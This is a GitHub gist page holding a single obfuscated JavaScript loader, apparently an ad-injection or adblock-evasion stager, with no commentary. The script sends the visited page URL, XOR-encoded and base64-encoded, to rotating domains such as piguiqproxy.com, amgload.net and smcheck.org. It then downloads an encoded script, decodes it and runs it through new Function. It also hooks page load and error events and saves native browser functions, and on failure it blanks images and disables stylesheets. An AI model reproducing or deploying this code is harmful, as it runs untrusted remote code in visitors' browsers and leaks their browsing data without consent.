Skip to content

Instantly share code, notes, and snippets.

/fuck.js Secret

Created December 19, 2017 05:17
  • Select an option

Select an option

(function() {
function f() {
var f = {};
for (var n = 0; n < arguments.length; n += 2) {
f[arguments[n]] = arguments[n + 1]
}
return f
}
function n() {
function n(f) {
var n = 'mzs__' + window['Math']['random']()['toString']()['substr'](2, 2 + 2);
window[n] = B;
new window['Function']('mz_str', f)(n)
}
function seed() {
return Math.floor(Math.random() * Math.pow(2, 32))
}
function r(f, n, u, r) {
function t(f) {
u(f['target'])
}
function o(f) {
if (window['Date'][ 'now' ]() - i['start'] < 300) {
r(f['target'])
}
}
var i = new window['XMLHttpRequest'];
i['open'](n ? 'POST' : 'GET', f, 1);
i['start'] = window['Date'][ 'now' ]();
if (u) {
i['onload'] = t
}
if (r) {
i['onerror'] = o
}
i['send'](n)
}
function t() {
var f = window['document']['getElementsByTagName']('IMG');
for (var n in f) {
if (f[n]['src']) {
f[n]['src'] = ''
}
}
window['stop']();
for (var u in window['document']['styleSheets']) {
window['document']['styleSheets'][u]['disabled'] = 1
}
}
function o(f, n, r) {
function t(f, n) {
if (!(n + 1)) {
n = f
}
var r = seed() % 3 + 1,
t = Uf[n];
if (!Bf[t['z']]) {
return t['n'] + '.' + t['z']
} else {
return Bf[t['z']] + window['String']['fromCharCode'](58 - r * r) + window['String']['fromCharCode'](t['z']['charCodeAt'](0) + f * f) + '.' + t['n'] + '.' + t['z']
}
}
B['vars']['proto'] = nf;
return nf + '//' + (r ? f + '.' + n + '.' + r : t(f, n)) + '/z'
}
function i(f) {
var n = f['match'](new window['RegExp']('var _a=\\["(.+)"\\];'));
if (n) {
var u = n[1];
var r = u['split']('","');
var t = '',
o = '',
i = 0,
v = [];
var a = '';
for (var c = 0; c < tf['length']; c++) {
a += tf[c]['toString'](16)
}
while (r[i] != a) {
o += r[i];
if (++i == r['length']) {
return
}
}
for (var p = i + 1; p < r['length']; p++) {
var s = r[p],
e = p - i - 1;
var d = o['substr'](e * 2, 2);
var h = window['parseInt'](d, 16),
j = h;
var l = '';
for (var m = 0; m < s['length']; m += 2) {
var q = window['parseInt'](s['substr'](m, 2), 16);
var g = q ^ h;
h = g ^ j;
g = g['toString'](16);
if (g['length'] < 2) {
g = 0 + g
}
l += g
}
v['push'](l)
}
f = f['replace'](u, v['join']('","'))
}
return f
}
function v(f) {
f //?
var n = seed() % gf;
var r = window['String']['fromCharCode'](n);
var t = 0;
for (var o = 0; o < f['length']; o++) {
var i = f['charCodeAt'](o);
r += window['String']['fromCharCode'](i ^ n);
t += i
}
(t % gf) //?
r += window['String']['fromCharCode'](t % gf); //?
return window['btoa'](r)
}
function a(f) {
try {
f = window['atob'](f)
} catch (f) {}
if (!f['length']) {
return
}
var n = '',
u = 0,
r, t = f['charCodeAt'](0);
for (r = 1; r < f['length'] - 1; r++) {
var o = f['charCodeAt'](r);
o ^ t //?
n += window['String']['fromCharCode'](o ^ t);
u += o ^ t
}
if (u % gf == f['charCodeAt'](r)) {
return n
}
}
function c(f) {
B['er_load']['push'](f['target'])
}
function p(f) {
B['sc_load']['push'](f['target'])
}
function s(f, n, u) {
var r = '';
if (typeof u != 'object') {
r = '.' + u;
u = []
}
for (var t in n) {
u['push'](t)
}
for (var o in u) {
var t = u[o],
i = null;
try {
i = n[t]
} catch (f) {}
if (!i || typeof i != 'function') {
continue
}
B['save'][f + r + '.' + t] = n[t];
if (!r['length'] && n[t]['prototype']) {
s(f, n[t]['prototype'], t)
}
}
}
function e() {
function v(f, u) {
function v(f) {
if (!Pf) {
B['retest'] = [o(j['h'], j['d']), o(j['h'], u)]
}
n(i(f['responseText']))
}
function a(f) {
Qf = false;
++Kf < uf ? e() : t()
}
if (Qf) {
return
}
Qf = true;
try {
var c = window['JSON']['parse'](Ff['dec'](f))
} catch (f) {
return
}
var p = c['sb'] ? c['sb'] + '.' : '';
var s = c['nn'] ? c['nn'] + p : p;
Hf['fail']['push'](s + c['hs']);
B['vars']['session'] = c['pw'];
B['vars']['proxy_host'] = p + c['hs'];
r(c['pr'] + '//' + s + c['hs'] + c['ur'], null, v, a)
}
function a(n) {
function u(f) {
function n(n) {
f['fail'] = 1
}
r(o(f['h'], f['d']), l, null, n)
}
function i(f) {
function n() {
try {
var n = window['JSON']['parse'](Ff['dec'](f['responseText']))
} catch (f) {
return
}
for (var u in n) {
var i = n[u];
for (var p in c) {
if (i['d'] == c[p]['d'] && i['h'] == c[p]['h']) {
c[p]['o'] = i['o']
}
}
}
if (v['o'] && v['fail']) {
t()
} else {
if (a['o'] && a['fail']) {
r(o(a['h'], a['d']), l, null, t)
}
}
}
window['setTimeout'](n, 300 * 3)
}
if (q) {
return
}
q = 1;
var v = f('h', (n['h'] + 1) % 2, 'd', n['d']),
a = f('h', n['h'], 'd', (n['d'] + 1) % 2);
var c = [v, a];
for (var p in c) {
u(c[p])
}
r(o(j['h'], j['d']), l, i, t)
}
function c(f, n) {
function u(u) {
r(o(u['h'], u['d']), l, f, n)
}
return u
}
function p(f) {
function n(n) {
v(n['responseText'], f['d'])
}
function u(n) {
a(f)
}
r(o(f['h'], f['d']), l, n, u)
}
var s = f('h', seed() % 2, 'd', seed() % 2),
d = f('h', (s['h'] + 1) % 2, 'd', (s['d'] + 1) % 2),
j = f('h', 2, 'd', 2);
var l = Ff['enc'](window['JSON']['stringify'](Hf));
var q = 0,
g = [s, d];
seed() //?
for (var y in g) {
p(g[y])
}
}
var B = {},
nf = window['location']['protocol'],
uf = 3,
tf = [48971, 64826, 53864, 61451, 6854, 64650, 12965, 12442],
gf = 256,
Sf = [{
'd': [
{'n': 'piguiqproxy', 'z': 'com'}, {'n': 'amgload', 'z': 'net'},
{'n': 'smcheck', 'z': 'org'}
],
'p': {'com': 'kz', 'net': 'xk', 'org': 'zx'}
}],
Uf = Sf[0]['d'],
Bf = Sf[0]['p'];
B['er_load'] = [];
B['sc_load'] = [];
B['vars'] = {};
B['vars']['cook_n'] = 'tttZZZ2m';
B['vars']['cook_v'] = 'f4FFv';
var Ff = {'enc': v, 'dec': a};
try {
if (window['opener'] && window['opener']['_' + B['vars']['cook_n']] == B['vars']['cook_v']) {
window['opener']['_' + B['vars']['cook_n']] = ''; {
window['document']['writeln']('<NOFRAMES>');
window['document']['close']()
}
}
} catch (f) {}
B['er_load'] = [];
B['sc_load'] = [];
B['vars'] = f('proxy_host', '', 'session', '');
B['cr_el'] = window['document']['createElement']['bind'](window['document']);
B['er_listen'] = c;
B['sc_listen'] = p;
window['document']['addEventListener']('error', B['er_listen'], 1);
window['document']['addEventListener']('load', B['sc_listen'], 1);
B['save'] = {};
s('w', window, ['XMLHttpRequest', 'MutationObserver']);
s('d', window['document'], []);
var Hf = f('rf', window['document']['location']['href'], 'fc', 0, 'fail', [], 'pw', '');
if (window['document']['cookie']['indexOf']('argon_enable=1') != -1) {
Hf['fc'] = 1
}
var If = 0,
Kf = 0,
Pf = 0,
Qf = 0;
e()
}
n()
})();
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment